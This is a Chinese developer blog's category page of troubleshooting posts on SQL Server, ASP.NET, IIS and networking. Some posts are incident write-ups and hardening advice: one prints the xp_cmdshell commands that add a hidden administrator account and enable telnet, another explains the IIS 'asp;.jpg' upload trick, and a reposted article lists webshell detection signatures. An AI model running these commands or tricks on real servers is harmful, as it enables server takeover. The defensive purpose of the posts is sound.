‘开发遇到的问题’ 分类下的所有文章
2017三月15

手工统计新粉为何会算多

开发遇到的问题 评论关闭

进线的新粉分为3类,

  1. 纯新粉(正是我们要想要统计的)
  2. 重叠新粉,指新粉已添加了其他客服的微信,又添加了当前客服的微信
  3. 老粉重进,指被删除的老粉又重新添加,微信会不定时将删除的老粉以新粉状态推送出来。

针对第2种与第3种情况,客服人员很难识别出来,在统计新粉的时候会加进去,必然造成新粉多算。
而A9微信通以独创的身份识别技术,从根源上消灭了第2种与第3种情况,保证统计的新粉是精准的。

 
2015七月10

一次神奇的问题解决

开发遇到的问题 评论关闭

问题:SQLServer偶发性连接不上:在客户端执行sql语句,时不时的执行不了,报用户名密码错误。
解决历程:
1,重装服务器,重装SQLSERVER 不能解决!
2,在网络上找各种解决方案,baidu,google,bing, stackoverflow各种方案尝试一遍,仍无解。
3,对着服务器烧香拜佛,服务器不鸟
最后解决:将服务器双网卡禁掉了一个,可以了!!!!

2014八月21

ASP:Image控件生成的代码自动增加border-width:0px的Bug处理

开发遇到的问题 评论关闭

在用ImageButton时,前台生成的控件会自动带上element.style{border-width:0px} 影响其他样式。
这个是ASP.NET的一个Bug,需要实现自己的类解决
using System;
using System.Web.UI.WebControls;

public class BorderlessImageButton : ImageButton {
public override Unit BorderWidth {
get {
if (base.BorderWidth.IsEmpty) return Unit.Pixel(0);
else return base.BorderWidth;
}
set {
base.BorderWidth = value;
}
}
}

然后不使用ImageButton,而是使用BorderlessImageButton
或者直接在web.config增加映射关系。



tagMapping>
pages>
system.web>

参考:Remove border-width:0px from asp:Image or asp:ImageButton

http://weblogs.asp.net/reganschroder/remove-border-width-0px-from-asp-image-or-asp-imagebutton

2014八月2

链接服务器的使用

开发遇到的问题 评论关闭

链接服务器配置简答,操作方便,是进行数据处理很有用的工具。
但若在存储过程中使用了链接服务器,就要注意:
若链接服务器挂了,则对应的存储过程在执行时都会阻塞,阻塞时间就是链接服务器的超时时间,会影响系统的使用。
所以使用链接服务器的场合是:
1,涉及到链接服务器的存储过程独立,不与其他逻辑混在一起,sp短小精悍
2,设置链接服务器的超时时间,若在局域网内,设置成6s超时就够用。

2013六月27

质量保证方式

1,测试
2,监控
3,预案建立,防止问题出现时思维混乱
出现问题时想彻底解决方案!杜绝再次发生。
对于技术,如网站与系统,关键就是做好三点,速度、稳定性、安全性
安全性:可能发生的一定会发生
1,学好攻,做检测
2,做好防,服务器限制IP访问,策略,权限,默认端口,账号更改(sa,administrator)
3,做好预警,异常系统登陆日志,异常数据库连接,服务器新文件添加

关于监控,对于功能来说,核心功能在上线后要做好数据统计,分析是否有异常数据产生。
如一次上线积分产品,功能完成后,基本数据未修改,造成本不是积分产品的产品当成积分产品下,造成损失!

上线阶段:
1,开发:代码审查与TDD测试
2,上线:eventvwr分析与IIS日志
3,上线后:总结

对于新的项目流程
1,确定流程图
2,画出原型图
3,开发,代码审核与TDD
4,上线
5, 定期召集开会,看现有什么问题,改进【监控】

2013五月23

Could not load file or assembly (Exception from HRESULT: 0×80131040)

开发遇到的问题 评论关闭

编译出现这个错误:
Could not load file or assembly 'Microsoft.Practices.EnterpriseLibrary.Common, Version=5.0.414.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0×80131040)

操作:使用微软企业库,修改了Microsoft.Practices.EnterpriseLibrary.Common.dll,Microsoft.Practices.EnterpriseLibrary.Data.dll
(一个知识点是修改了这种dll后,微软的强签名就没了,由PublicKeyToken=31bf3856ad364e35变成了PublicKeyToken=null)

问题引发场景:
新项目中引用了修改的企业库Common.dll,Data.dll,未改的企业库Caching.dll,问题就来了:
微软的企业库Caching.dll里面还是引用原来的带有强签名的Common.dll(可通过Reflector查看此引用),而我们在这个新项目中引用的是自己修改的Common.dll,在编译时造成Caching.dll找不到微软的Common.dll,从而引发上述错误。
解决方法:
1,修改Caching.dll,将其引用的Common.dll改为自已修改后的Common.dll
2,因本项目中没有用到Caching.dll的地方,去掉此Caching.dll,解决问题
3,因微软的Common.dll是强签名,可注册到GAC全局

注:
1,引用Common.dll的微软企业库还有
Microsoft.Practices.EnterpriseLibrary.Caching.Cryptography.dll
Microsoft.Practices.EnterpriseLibrary.Caching.Database.dll
Microsoft.Practices.EnterpriseLibrary.Caching.dll
Microsoft.Practices.EnterpriseLibrary.Security.Cryptography.dll
2,一个被忽略的基本事实是:打包的dll如father.dll 里面引用了son.dll,那么在新项目中若引用father.dll,那么在bin下也要有son.dll的存在。

2013一月28

iframe嵌套session失效问题

开发遇到的问题 评论关闭

起因:
IE6/IE7从安全性角度考虑,
支持的P3P(Platform for Privacy Preferences Project (P3P) specification)协议默认阻止第三方无隐私安全声明的cookie,firefox,chrome无此问题。
即在IE6/IE7下,嵌入的页面若与主页面域不同,则嵌入页的cookie不能被主域读取,也就意味着保存在cookie中的sessionid是没有的,在上传服务器时,因没有传sessionid,服务器是读取不了已经创建的session中的内容。
解决方案:
第1种:

> 打开IIS管理器 inetmgr
> 选择被嵌入iframe源站点或者目录,右键点击打开属性框 
> 切换到HTTP头 
> 添加 
> 自定义HTTP头名: P3P
> 自定义HTTP头值: CP="CAO PSA OUR"
> 关闭属性框退出,即刻生效

第2种:
在被嵌入页面page_onload里添加一语句:Response.AddHeader("P3P","CP=CAO PSA OUR");

2013一月26

跨域问题

同一域:指协议、域名,端口号都相同,否则为跨域。
表现为:如在a.com/index.html 利用iframe引用了b.com/index.html,
那么:在a.com/index.html无法更改b.com/index.html的对象,如dom,css等,但是可读取的。即只读
反之,在b.com/index.html中对a.com/index.html也是只读的。
//在b.com/index.html中可用document.referrer来引用a.com/index.html的网址
不过,可在a.com/index.html利用对b.com/index.html的访问权限,在b.com中创建一对象,此对象在a.com中是可以操作的。

对于主域相同而子域不同的例子,可以通过设置document.domain的办法来解决。
具体的做法是可以在http://www.a.com/a.html和http://script.a.com/b.html两个文件中分别加上document.domain = ‘a.com’;然后通过a.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个js文件之间就可以“交互”了。当然这种办法只能解决主域相同而二级域名不同的情况

引用:http://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html

2013一月19

网站并发数

开发遇到的问题 评论关闭

浏览器对同一个域名访问的并发数是有限制的,同一时间下,如下表:

浏览器 并发数
IE 6,7 2
IE 8 6
Firefox 2 2
Firefox 3 6
Safari 3,4 4
Chrome 1,2 6
Chrome 3 4
Chrome 4+ 6
iPhone 2 4
iPhone 3 6
iPhone 4 4
Opera 9.63,10.00alpha 4
Opera 10.51+ 8

因为浏览器只对单个域名限制并发数,而不对单个IP限制并发数,所以可将一个IP地址映射到多个域名,然后使用这些域名访问网站资源,这样原本浏览器的并发数为6,使用两个域名并发数就可以达到12个了。但需要注意的是,域名并不是越多就越好的,因为域名解析也需要花费时间,而且并发数太多也会耗费客户端太多的CPU,域名数量到了一定程度,网页性能就会开始下降,所以在应用中需要根据实际情况寻找一个平衡点。如果不是特别需要,一般24个为佳。

2012十月18

xml文件utf-8 code读取乱码解决

开发遇到的问题 评论关闭

1,将编码格式 encoding="utf-8"指定去掉
2,用记事本打开xml,另存为unicode解决。

2012六月25

ViewStateException: Invalid viewstate.

开发遇到的问题 评论关闭

错误明细:
详细错误:
System.Web.UI.ViewStateException: Invalid viewstate. Client IP: 192.168.21.184 Port: 1418 Referer: http://192.168.16.55:888/Increment/PersonalCustomer.aspx?type=developcall&MenuID=508&menuname=发展部客户跟进 Path: /Increment/PersonalCustomer.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) ViewState: /wEPDwUJMzIwOTI4NzM3D2QWAgIBD2QWAgIBDw8WAh4EVGV4dAVJ57O757uf5bey6Ieq5Yqo6YCa55+l5oqA5pyv6YOo5aSE55CGLOivt+eojeWQjuiuv+mXriEgIC0tMjAxMi0wNi0yNSAwODoyOGRkZP1AV1Xh2GYIxvsOtpTpoN+mHmQzbqafkrv3eZ/waeQN,/wEPDwUJMzIwOTI4NzM3D2QWAgIBD2QWAgIBDw8WAh4EVGV4dAVJ57O757uf5bey6Ieq5Yqo6YCa55+l5oqA5pyv6YOo5aSE55CGLOivt+eojeWQjuiuv+mXriEgIC0tMjAxMi0wNi0yNSAwODoyOGRkZP1AV1Xh2GYIxvsOtpTpoN+mHmQzbqafkrv3eZ/waeQN,/wEPDwUKMTg1MDQyMjI5Nw9kFgICAw9kFgICAw9kFgJmD2QWDgIHDxBkEBUHDOivt+mAieaLqS4uLg/mlrDlrqLmiLfotYTmlpkKQeexu+WuouaItwpC57G75a6i5oi3CkPnsbvlrqLmiLcKROexu+WuouaItwzlj5bmtojorqLljZUVBwAOYXV0b2Rpc3RyaWJ1dGUJc3Ryb25nYnV5CWludGVuZGJ1eQh0aGlua2J1eQdpc3ZhbGlkBmNhbmNlbBQrAwdnZ2dnZ2dnZGQCCQ8QZGQWAGQCDQ8QZBAVCwotLeaJgOaciS0tCeaXoOS6uuaOpQnp… —> System.FormatException: The input is not a valid Base-64 string as it contains a non-base 64 character, more than two padding characters, or a non-white space character among the padding characters.

原因:页面中含有多个_VIEWSTATE引起,导致此错误。
解决方法:禁用某一页面的viewstate.
 方法:1)page上加EnableViewState="false" 2)去掉form的runat=server

2012五月3

js文件中动态加载js文件

js文件中动态加载js文件
因加载顺序不同,在加载js文件时,要动态传的变量还未进行初始化,故参数传不进,
方法是利用ajax异步加载

var IsLoadFieOk = false;//是否已完成js文件的加载
var CallServerIP  = "192.168.19.157";

LoadJSfile("scrjquery", "http://"+CallServerIP + "/interface/js/jquery-1.3.2.min.js");
LoadJSfile( "scrDailOut", "http://"+CallServerIP + "/interface/2.js");

function LoadJSfile(sID,url) {
    IsLoadFieOk = false;
    AjaxPage(sID,url);
    var i = 0;
    while (!IsLoadFieOk && i++<2000) {} //保证异步加载的文件能够做到顺序加载
}

function AjaxPage(sId, url){
    var oXmlHttp = GetHttpRequest() ;

    oXmlHttp.OnReadyStateChange = function()  

    {

        if ( oXmlHttp.readyState == 4 )

        {

            if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )

            {

                IncludeJS( sId, url, oXmlHttp.responseText );
                //alert(url);

            }

            else

            {
                alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;

            }

        }

    }

    oXmlHttp.open('GET', url, true);

    oXmlHttp.send(null);
    //return "hello";

}

同时若ajax要跨域访问数据,那么将Internet选项-安全- Internet,受信任的站点中的通过域访问数据资源打开。

2012四月1

MsSql限制IP所引发的失误

开发遇到的问题 评论关闭

现需要限制MsSql上的登录IP,错误的直接将以下语句执行,而没有改192.168.1.1,此时连接服务器就再也连接不上,需要用DAC解决
注:限制IP访问最好用IPsec策略做,以免影响性能。


1,失误代码

USE master

GO

CREATE TRIGGER tr_LoginCheck

ON ALL SERVER

FOR LOGON

AS

DECLARE @ClientHost varchar(100)

SET @ClientHost= EVENTDATA().value(‘(/EVENT_INSTANCE/ClientHost)[1]‘, ‘varchar(15)’)

IF ClientHost <>’127.0.0.1′ AND ClientHost <> ‘<local machine>’

ROLLBACK TRAN

GO

–此触发器可在[服务器对象 - 触发器下]查看

可能要给账号开权限

USE [master]
GO
CREATE USER [myuser] FOR LOGIN [myuser]
GO
–grant select on ipcheck to myuser
 
grant VIEW SERVER STATE to myuser
 

2,失误后登录提示:login failed due to a TRIGGER

3,解决方案:

开始-运行-cmd: sqlcmd -S LocalHost -d master -A

1> DROP TRIGGER tr_LoginCheck ON ALL SERVER

2> GO

2012一月12

web.config中poolsize与mssql中的connection

开发遇到的问题 评论关闭

web.config中的 max poolsize指的是保存的与数据库连接的个数,由.net维护,常报的“超时时间已到,但是尚未从池中获取连接。出现这种情况可能是因为所有池连接均在使用,并且达到了最大池大小。 ”指的是连接数超出了max pool size引起。
连接池中的连接与mssql中的sys.dm_exec_connections中是对应的,不过sys.dm_exec_connections的连接也包含其他连接,故总数是>=pool size中的连接数量的。
可以在sys.dm_exec_connections中通过web.config连接的用户名来查询目前web.config连接了多少个:
SELECT a.most_recent_sql_handle,COUNT(1) d FROM
sys.dm_exec_connections a
JOIN sys.dm_exec_sessions b ON a.session_id = b.session_id AND b.login_name=’brm’
GROUP BY a.most_recent_sql_handle
ORDER BY d DESC

2012一月10

死循环引起的连接池耗尽

开发遇到的问题 评论关闭
用户反应系统响应慢,报连接池超过最大连接数错误,上去看服务器,CPU,内存都很正常。过一段时间系统又自动恢复。通过以下方法排查连接数:
sp_configure ‘user connections’
—-查看系统连接数:
SELECT d.name,b.login_name,COUNT(1) ccount,m.text  FROM
sys.dm_exec_connections a
JOIN sys.dm_exec_sessions b ON a.session_id = b.session_id –AND b.login_name IN('OA','brm')
JOIN sys.databases d ON b.database_id = d.database_id
cross apply  sys.dm_exec_sql_text(a.most_recent_sql_handle)m
GROUP BY d.name,b.login_name,m.text
ORDER BY d.name,b.login_name,ccount DESC

—-或者看明细

SELECT b.session_id,d.name,b.login_name,m.text,
a.client_net_address,a.connect_time,a.last_read,a.last_write
FROM sys.dm_exec_connections a
JOIN sys.dm_exec_sessions b ON a.session_id = b.session_id –AND b.login_name IN('OA','brm')
JOIN sys.databases d ON b.database_id = d.database_id
cross apply  sys.dm_exec_sql_text(a.most_recent_sql_handle)m
where client_net_address != '<local machine>'
order by a.last_read desc

 
发现排在第一位的连接数景有数千,意味着一个会话内发生了上千次的连接,这是很异常的,分析sql语句来源定位异常sql语句:
SELECT * FROM sys.dm_exec_sql_text(0x03000600B1C9EA687B3F2801CA9F00000100000000000000)
–看sql语句
SELECT TOP 50
qs.total_worker_time/qs.execution_count/1000. as [平均消耗CPU 时间(ms)],
total_worker_time/1000 AS [总消耗CPU 时间(ms)],execution_count [运行次数],
SUBSTRING(qt.text,qs.statement_start_offset/2+1,
(case when qs.statement_end_offset = -1
then DATALENGTH(qt.text)
else qs.statement_end_offset end -qs.statement_start_offset)/2 + 1)
as [查询语句], qt.text [所在存储过程],
qt.dbid, dbname=db_name(qt.dbid),
qt.objectid,object_name(qt.objectid,qt.dbid) ObjectName
FROM sys.dm_exec_query_stats qs
cross apply sys.dm_exec_sql_text(qs.sql_handle) as qt
WHERE qs.last_execution_time >=’2012-01-10 10:00′ AND dbid = 6
AND qs.sql_handle = ’0x03000600B1C9EA687B3F2801CA9F00000100000000000000′
发现最大连接数为596,599?
2011十一月14

sqlserver用IP连接不上

开发遇到的问题 评论关闭

外呼系统连接数据库, 数据库服务器的配置都已OK,但用IP就是连接不上,换用电脑名/服务 解决.
TA\SQL2005

2011四月24

记一次服务器连接不上故障 arp

开发遇到的问题 评论关闭

系统出现数据库无法连接的问题,远程连接不上服务器,进入机房服务器查看,运行良好,只是在右下方不时弹出IP冲突的提示,在客户机上运行arp -a 查看,发现所在IP对应的mac地址不是服务器的mac地址,遂想到有一位同事的IP错误的设置成了服务器IP,客户机都访问同事的电脑去了,出现数据库无法连接的问题,
解决方法:1,找出冲突IP所在电脑,更改IP,在客户机上运行arp -d删除缓存信息。
2,在不方便找出冲突IP的情况下,更改服务器的IP地址。

注:ARP原因:地址解析协议,是一种将IP地址转化成物理地址的协议
1,局域网同一网段的网络流通不是根据IP地址进行,而是按照MAC地址进行传输,需要将被访问电脑的IP地址转为MAC地址才能通讯,为便于通讯,会有2分钟的缓存机制。
2,某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。对本地的ARP2缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia??物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

2011四月19

WebShell检测思路浅谈【转载】

开发遇到的问题 评论关闭

目录]
0×00 前言
0×01 Webshell检测模型
0×02 静态特征检测
0×03 动态特征检测
0×04 结语

0×00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。

0×01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

0×02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell??这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。

0×03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
–code————————————————————————-
<%
Function execute(stra)
Response.Write("get the arg : "+stra)
End Function
a="response.write(""hello,world"")"
execute(a)
%>
——————————————————————————-
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。

0×04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。

2011四月16

SqlServer被提权,得到服务器权限

开发遇到的问题 评论关闭

过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

–打开xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘

应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system

2011四月13

网站被上传木马,进尔失去服务器管理权限

开发遇到的问题 评论关闭

1,模拟过程:hacker破解掉网站后台密码后,在文件上传中,上传了一个jpg的木马,网站上面是可以显示图片路径的,然后他在地址栏中执行,由于服务器没有做安全权限,故得到一切…
jpg木马:一个asp或asa木马,将其名称改为 aaa.asp;.jpg 或者aaa.asp;.aaa
这种木马是IIS在执行时有一个解析漏洞引起,称为IIS解析漏洞
IIS解析漏洞
1,网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。

2,在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行。

木马查找:ASPX:DirectoryInfo ASP:filesystemobject

预防措施:
一、网站
1,网站后台密码设置复杂,14位以上
2,限制IP登录
3,上传文件的地方,除限制文件类型外,获取上传文件的后缀名,文件名随机生成,这样就去掉了asp.生成的文件为xxx.jpg,而不在是xxx.aspa;.jpg。
同时,在IIS中,右击上传文件夹,执行权限设置为无

4,若网站是aspx的,那么去掉asp的映射。
二、服务器
1,磁盘目录,仅给administrator,system权限,在高级里面,记得将允许父…,将此…都打上√
把windows临时文件夹temp转移到其它盘
1。在D盘建立temp这个文件夹
2。控制面板/系统/高级/环境变量/用户变量/把temp和tmp值编辑到 d:\temp
3。控制面板/系统/高级/环境变量/系统变量/把temp和tmp值编辑到 d:\temp
4。仅给administrator,system权限,及networkservice的读写权限,重启系统后生效
2,网站目录:networkservice,IIS来宾账号给予读取权限,administrator给予所有权限,其它都去掉。
仅上传文件的目录写权限
3,网站源码:封装成dll,混淆,web.config中的数据库链接移出,字符串加密放到注册表中,在封装的dll类中读取此注册表项信息即可,放在注册表中方便修改。

防止执行CMD
卸载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%\system32\WSHom.Ocx
卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%\system32\scrrun.dll
卸载stream对象,在cmd下或直接运行: regsvr32 /s /u “C:\Program Files\Common Files\System\ado\msado15.dll”